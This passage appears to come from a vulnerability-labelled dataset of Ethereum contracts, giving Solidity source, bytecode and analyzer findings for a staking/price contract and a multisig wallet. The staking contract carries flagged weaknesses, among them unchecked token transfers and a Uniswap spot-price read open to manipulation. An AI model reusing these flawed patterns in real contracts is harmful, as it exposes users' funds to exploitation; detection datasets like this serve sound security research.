get 1 sdcp = x eth function fetchPrice() internal view returns (uint) { (uint reserve0, uint reserve1,) = IUniswapV2Pair(v2Pair).getReserves(); require(reserve0 > 0 && reserve1 > 0, 'E/INSUFFICIENT_LIQUIDITY'); uint oneSdcp = 10 ** uint(sdcpDec); if(IUniswapV2Pair(v2Pair).token0() == sdcpToken) { return oneSdcp.mul(reserve1) / reserve0; } else { return oneSdcp.mul(reserve0) / reserve1; } } function getDay(uint ts) internal pure returns (uint) { return ts / DAY; } function updatePrice() external { uint d = getDay(now); uint p = fetchPrice(); dayPrices[d] = p; uint lastPrice = dayPrices[d-1]; if(lastPrice > 0 && p > lastPrice) { uint ep = BASE_EP; uint t = (p - lastPrice) / (lastPrice / 10); earnPercent[d] = ep * t; } } function withdrawSDCP(uint amount) external onlyOwner { IERC20(sdcpToken).transfer(msg.sender, amount); } }
0x608060405234801561001057600080fd5b506004361061009e5760003560e01c80638f32d59b116100665780638f32d59b146101a9578063a27daaa1146101cb578063b9774aa5146101f9578063f2fde38b14610283578063f351f364146102c75761009e565b8063112b5afc146100a3578063673a7e28146100d15780636d90aade146100db57806388cd4c9a1461011d5780638da5cb5b1461015f575b600080fd5b6100cf600480360360208110156100b957600080fd5b81019080803590602001909291905050506102d1565b005b6100d9610431565b005b610107600480360360208110156100f157600080fd5b81019080803590602001909291905050506104d3565b6040518082815260200191505060405180910390f35b61015d6004803603604081101561013357600080fd5b8101908080359060200190929190803567ffffffffffffffff1690602001909291905050506104eb565b005b610167610925565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101b161094e565b604051808215151515815260200191505060405180910390f35b6101f7600480360360208110156101e157600080fd5b81019080803590602001909291905050506109a5565b005b610201610f74565b60405180866fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1681526020018563ffffffff1663ffffffff1681526020018463ffffffff1663ffffffff1681526020018367ffffffffffffffff1667ffffffffffffffff1681526020018281526020019550505050505060405180910390f35b6102c56004803603602081101561029957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110f1565b005b6102cf611177565b005b6102d961094e565b61034b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b7f000000000000000000000000c59ddee8be619680a3b9489eb864b30270f2070d73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156103f257600080fd5b505af1158015610406573d6000803e3d6000fd5b505050506040513d602081101561041c57600080fd5b81019080805190602001909291905050505050565b600061043c426112ca565b905060006104486112e0565b905080600260008481526020019081526020016000208190555060006002600060018503815260200190815260200160002054905060008111801561048c57508082115b156104ce576000600590506000600a83816104a357fe5b04838503816104ae57fe5b049050808202600360008781526020019081526020016000208190555050505b505050565b60036020528060005260406000206000915090505481565b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff16146105d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f452f616c65616479207374616b696e670000000000000000000000000000000081525060200191505060405180910390fd5b60028167ffffffffffffffff161115610652576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f452f74797065206572726f72000000000000000000000000000000000000000081525060200191505060405180910390fd5b7f0000000000000000000000002ea6fac74c898811b504aa6f74d8e33bf0dc855473ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561072d57600080fd5b505af1158015610741573d6000803e3d6000fd5b505050506040513d602081101561075757600080fd5b81019080805190602001909291905050506107da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f452f7472616e73666572206572726f720000000000000000000000000000000081525060200191505060405180910390fd5b6040518060800160405280836fffffffffffffffffffffffffffffffff1681526020014263ffffffff1681526020014263ffffffff1681526020018267ffffffffffffffff16815250600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a81548163ffffffff021916908363ffffffff16021790555060408201518160000160146101000a81548163ffffffff021916908363ffffffff16021790555060608201518160000160186101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055509050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b6109ad611acc565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060800160405290816000820160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1681526020016000820160109054906101000a900463ffffffff1663ffffffff1663ffffffff1681526020016000820160149054906101000a900463ffffffff1663ffffffff1663ffffffff1681526020016000820160189054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815250509050600081600001516fffffffffffffffffffffffffffffffff1690506000826020015163ffffffff16905083821015610b61576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f452f6e6f7420656e6f756768000000000000000000000000000000000000000081525060200191505060405180910390fd5b6001836060015167ffffffffffffffff161415610bf857620151808101421015610bf3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260088152602001807f452f6c6f636b656400000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b610c77565b62015180601e028101421015610c76576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f452f3132206c6f636b656400000000000000000000000000000000000000000081525060200191505060405180910390fd5b5b610c7f611177565b7f0000000000000000000000002ea6fac74c898811b504aa6f74d8e33bf0dc855473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33866040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610d2657600080fd5b505af1158015610d3a573d6000803e3d6000fd5b505050506040513d6020811015610d5057600080fd5b81019080805190602001909291905050505060008483031115610ebf5760405180608001604052808584036fffffffffffffffffffffffffffffffff1681526020014263ffffffff1681526020014263ffffffff168152602001846060015167ffffffffffffffff16815250600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a81548163ffffffff021916908363ffffffff16021790555060408201518160000160146101000a81548163ffffffff021916908363ffffffff16021790555060608201518160000160186101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550905050610f6e565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600080820160006101000a8154906fffffffffffffffffffffffffffffffff02191690556000820160106101000a81549063ffffffff02191690556000820160146101000a81549063ffffffff02191690556000820160186101000a81549067ffffffffffffffff021916905550505b50505050565b6000806000806000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a90046fffffffffffffffffffffffffffffffff16600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160109054906101000a900463ffffffff16600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160149054906101000a900463ffffffff16600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160189054906101000a900467ffffffffffffffff166110e06115ab565b945094509450945094509091929394565b6110f961094e565b61116b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61117481611865565b50565b60006111816115ab565b90507f000000000000000000000000c59ddee8be619680a3b9489eb864b30270f2070d73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561122a57600080fd5b505af115801561123e573d6000803e3d6000fd5b505050506040513d602081101561125457600080fd5b81019080805190602001909291905050505042600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160146101000a81548163ffffffff021916908363ffffffff16021790555050565b60006201518082816112d857fe5b049050919050565b60008060007f0000000000000000000000002ea6fac74c898811b504aa6f74d8e33bf0dc855473ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561134b57600080fd5b505afa15801561135f573d6000803e3d6000fd5b505050506040513d606081101561137557600080fd5b81019080805190602001909291908051906020019092919080519060200190929190505050506dffffffffffffffffffffffffffff1691506dffffffffffffffffffffffffffff1691506000821180156113cf5750600081115b611441576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f452f494e53554646494349454e545f4c4951554944495459000000000000000081525060200191505060405180910390fd5b60007f000000000000000000000000000000000000000000000000000000000000000860ff16600a0a90507f000000000000000000000000c59ddee8be619680a3b9489eb864b30270f2070d73ffffffffffffffffffffffffffffffffffffffff167f0000000000000000000000002ea6fac74c898811b504aa6f74d8e33bf0dc855473ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b15801561150957600080fd5b505afa15801561151d573d6000803e3d6000fd5b505050506040513d602081101561153357600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1614156115865782611574838361192e90919063ffffffff16565b8161157b57fe5b0493505050506115a8565b8161159a848361192e90919063ffffffff16565b816115a157fe5b0493505050505b90565b60006115b5611acc565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060800160405290816000820160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1681526020016000820160109054906101000a900463ffffffff1663ffffffff1663ffffffff1681526020016000820160149054906101000a900463ffffffff1663ffffffff1663ffffffff1681526020016000820160189054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815250509050600081600001516fffffffffffffffffffffffffffffffff1614156116f2576000915050611862565b60006116fd426112ca565b90506000611714836040015163ffffffff166112ca565b90508082111561185a576000818303905060006005820290505b828411156117765760006003600085815260200190815260200160002054111561176b576003600084815260200190815260200160002054810190505b60018301925061172e565b60008090506000821115611824576118216117be7f000000000000000000000000000000000000000000000000000000000000000860ff1660126119b490919063ffffffff16565b600a0a6118136103e8611805621954606117f7888d600001516fffffffffffffffffffffffffffffffff1661192e90919063ffffffff16565b61192e90919063ffffffff16565b611a3d90919063ffffffff16565b611a3d90919063ffffffff16565b90505b6002866060015167ffffffffffffffff16141561184c57600281029650505050505050611862565b809650505050505050611862565b600093505050505b90565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156118eb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611b1d6026913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008083141561194157600090506119ae565b600082840290508284828161195257fe5b04146119a9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611b436021913960400191505060405180910390fd5b809150505b92915050565b600082821115611a2c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b600082840390508091505092915050565b6000808211611ab4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060200191505060405180910390fd5b6000828481611abf57fe5b0490508091505092915050565b604051806080016040528060006fffffffffffffffffffffffffffffffff168152602001600063ffffffff168152602001600063ffffffff168152602001600067ffffffffffffffff168152509056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a264697066735822122019c389e4756fd3746c0771d4f346e0dfdb79e6bf2464a844a0da9304826f7f1664736f6c63430006090033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
10,490
0x926cda2a604b8d5eebb6dc7dfe0e7018c82cbffe
pragma solidity 0.4.19; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <stefan.george@consensys.net> contract MultiSigWallet { /* * Events */ event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); /* * Constants */ uint constant public MAX_OWNER_COUNT = 50; /* * Storage */ mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } /* * Modifiers */ modifier onlyWallet() { require(msg.sender == address(this)); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner]); _; } modifier ownerExists(address owner) { require(isOwner[owner]); _; } modifier transactionExists(uint transactionId) { require(transactions[transactionId].destination != 0); _; } modifier confirmed(uint transactionId, address owner) { require(confirmations[transactionId][owner]); _; } modifier notConfirmed(uint transactionId, address owner) { require(!confirmations[transactionId][owner]); _; } modifier notExecuted(uint transactionId) { require(!transactions[transactionId].executed); _; } modifier notNull(address _address) { require(_address != 0); _; } modifier validRequirement(uint ownerCount, uint _required) { require(ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0); _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { require(!isOwner[_owners[i]] && _owners[i] != 0); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; OwnerRemoval(owner); OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; if (txn.destination.call.value(txn.value)(txn.data)) Execution(transactionId); else { ExecutionFailure(transactionId); txn.executed = false; } } } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i=from; i<to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } }
0x60606040526004361061011c5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c278114610165578063173825d91461019757806320ea8d86146101b65780632f54bf6e146101cc5780633411c81c146101ff57806354741525146102215780637065cb4814610250578063784547a71461026f5780638b51d13f146102855780639ace38c21461029b578063a0e67e2b1461035a578063a8abe69a146103c0578063b5dc40c3146103e3578063b77bf600146103f9578063ba51a6df1461040c578063c01a8c8414610422578063c642747414610438578063d74f8edd1461049d578063dc8452cd146104b0578063e20056e6146104c3578063ee22610b146104e8575b60003411156101635733600160a060020a03167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c3460405190815260200160405180910390a25b005b341561017057600080fd5b61017b6004356104fe565b604051600160a060020a03909116815260200160405180910390f35b34156101a257600080fd5b610163600160a060020a0360043516610526565b34156101c157600080fd5b6101636004356106bb565b34156101d757600080fd5b6101eb600160a060020a0360043516610799565b604051901515815260200160405180910390f35b341561020a57600080fd5b6101eb600435600160a060020a03602435166107ae565b341561022c57600080fd5b61023e600435151560243515156107ce565b60405190815260200160405180910390f35b341561025b57600080fd5b610163600160a060020a036004351661083a565b341561027a57600080fd5b6101eb600435610976565b341561029057600080fd5b61023e6004356109fa565b34156102a657600080fd5b6102b1600435610a69565b604051600160a060020a03851681526020810184905281151560608201526080604082018181528454600260001961010060018416150201909116049183018290529060a0830190859080156103485780601f1061031d57610100808354040283529160200191610348565b820191906000526020600020905b81548152906001019060200180831161032b57829003601f168201915b50509550505050505060405180910390f35b341561036557600080fd5b61036d610a9d565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156103ac578082015183820152602001610394565b505050509050019250505060405180910390f35b34156103cb57600080fd5b61036d60043560243560443515156064351515610b06565b34156103ee57600080fd5b61036d600435610c2e565b341561040457600080fd5b61023e610d92565b341561041757600080fd5b610163600435610d98565b341561042d57600080fd5b610163600435610e2b565b341561044357600080fd5b61023e60048035600160a060020a03169060248035919060649060443590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610f1995505050505050565b34156104a857600080fd5b61023e610f38565b34156104bb57600080fd5b61023e610f3d565b34156104ce57600080fd5b610163600160a060020a0360043581169060243516610f43565b34156104f357600080fd5b6101636004356110f1565b600380548290811061050c57fe5b600091825260209091200154600160a060020a0316905081565b600030600160a060020a031633600160a060020a031614151561054857600080fd5b600160a060020a038216600090815260026020526040902054829060ff16151561057157600080fd5b600160a060020a0383166000908152600260205260408120805460ff1916905591505b600354600019018210156106545782600160a060020a03166003838154811015156105bb57fe5b600091825260209091200154600160a060020a03161415610649576003805460001981019081106105e857fe5b60009182526020909120015460038054600160a060020a03909216918490811061060e57fe5b6000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055610654565b600190910190610594565b60038054600019019061066790826113ad565b5060035460045411156106805760035461068090610d98565b82600160a060020a03167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600160a060020a03811660009081526002602052604090205460ff1615156106e357600080fd5b600082815260016020908152604080832033600160a060020a038116855292529091205483919060ff16151561071857600080fd5b600084815260208190526040902060030154849060ff161561073957600080fd5b6000858152600160209081526040808320600160a060020a033316808552925291829020805460ff1916905586917ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e9905160405180910390a35050505050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b6000805b600554811015610833578380156107fb575060008181526020819052604090206003015460ff16155b8061081f575082801561081f575060008181526020819052604090206003015460ff165b1561082b576001820191505b6001016107d2565b5092915050565b30600160a060020a031633600160a060020a031614151561085a57600080fd5b600160a060020a038116600090815260026020526040902054819060ff161561088257600080fd5b81600160a060020a038116151561089857600080fd5b600380549050600101600454603282111580156108b55750818111155b80156108c057508015155b80156108cb57508115155b15156108d657600080fd5b600160a060020a0385166000908152600260205260409020805460ff19166001908117909155600380549091810161090e83826113ad565b506000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0387169081179091557ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b600080805b6003548110156109f357600084815260016020526040812060038054919291849081106109a457fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff16156109d8576001820191505b6004548214156109eb57600192506109f3565b60010161097b565b5050919050565b6000805b600354811015610a635760008381526001602052604081206003805491929184908110610a2757fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610a5b576001820191505b6001016109fe565b50919050565b6000602081905290815260409020805460018201546003830154600160a060020a0390921692909160029091019060ff1684565b610aa56113d6565b6003805480602002602001604051908101604052809291908181526020018280548015610afb57602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610add575b505050505090505b90565b610b0e6113d6565b610b166113d6565b600080600554604051805910610b295750595b9080825280602002602001820160405250925060009150600090505b600554811015610bbe57858015610b6e575060008181526020819052604090206003015460ff16155b80610b925750848015610b92575060008181526020819052604090206003015460ff165b15610bb65780838381518110610ba457fe5b60209081029091010152600191909101905b600101610b45565b878703604051805910610bce5750595b908082528060200260200182016040525093508790505b86811015610c2357828181518110610bf957fe5b906020019060200201518489830381518110610c1157fe5b60209081029091010152600101610be5565b505050949350505050565b610c366113d6565b610c3e6113d6565b6003546000908190604051805910610c535750595b9080825280602002602001820160405250925060009150600090505b600354811015610d1b5760008581526001602052604081206003805491929184908110610c9857fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610d13576003805482908110610cd357fe5b600091825260209091200154600160a060020a0316838381518110610cf457fe5b600160a060020a03909216602092830290910190910152600191909101905b600101610c6f565b81604051805910610d295750595b90808252806020026020018201604052509350600090505b81811015610d8a57828181518110610d5557fe5b90602001906020020151848281518110610d6b57fe5b600160a060020a03909216602092830290910190910152600101610d41565b505050919050565b60055481565b30600160a060020a031633600160a060020a0316141515610db857600080fd5b6003548160328211801590610dcd5750818111155b8015610dd857508015155b8015610de357508115155b1515610dee57600080fd5b60048390557fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a8360405190815260200160405180910390a1505050565b33600160a060020a03811660009081526002602052604090205460ff161515610e5357600080fd5b6000828152602081905260409020548290600160a060020a03161515610e7857600080fd5b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff1615610eac57600080fd5b6000858152600160208181526040808420600160a060020a033316808652925292839020805460ff191690921790915586917f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef905160405180910390a3610f12856110f1565b5050505050565b6000610f268484846112b0565b9050610f3181610e2b565b9392505050565b603281565b60045481565b600030600160a060020a031633600160a060020a0316141515610f6557600080fd5b600160a060020a038316600090815260026020526040902054839060ff161515610f8e57600080fd5b600160a060020a038316600090815260026020526040902054839060ff1615610fb657600080fd5b600092505b60035483101561104f5784600160a060020a0316600384815481101515610fde57fe5b600091825260209091200154600160a060020a03161415611044578360038481548110151561100957fe5b6000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039290921691909117905561104f565b600190920191610fbb565b600160a060020a03808616600081815260026020526040808220805460ff199081169091559388168252908190208054909316600117909255907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b90905160405180910390a283600160a060020a03167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b33600160a060020a03811660009081526002602052604081205490919060ff16151561111c57600080fd5b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff16151561115157600080fd5b600085815260208190526040902060030154859060ff161561117257600080fd5b61117b86610976565b156112a8576000868152602081905260409081902060038101805460ff19166001908117909155815490820154919750600160a060020a031691600288019051808280546001816001161561010002031660029004801561121d5780601f106111f25761010080835404028352916020019161121d565b820191906000526020600020905b81548152906001019060200180831161120057829003601f168201915b505091505060006040518083038185876187965a03f1925050501561126e57857f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a26112a8565b857f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260038501805460ff191690555b505050505050565b600083600160a060020a03811615156112c857600080fd5b600554915060806040519081016040908152600160a060020a0387168252602080830187905281830186905260006060840181905285815290819052208151815473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0391909116178155602082015181600101556040820151816002019080516113539291602001906113e8565b506060820151600391909101805460ff191691151591909117905550600580546001019055817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b8154818355818115116113d1576000838152602090206113d1918101908301611466565b505050565b60206040519081016040526000815290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061142957805160ff1916838001178555611456565b82800160010185558215611456579182015b8281111561145657825182559160200191906001019061143b565b50611462929150611466565b5090565b610b0391905b80821115611462576000815560010161146c5600a165627a7a723058201f759e8afb3dc2f5e4dde581750826123d21237cd0fe13c69ee4c0f09530830a0029
{"success": true, "error": null, "results": {}}
10,491
0x854f78f656b5c7a0ddc628b98b578c48595f3d65
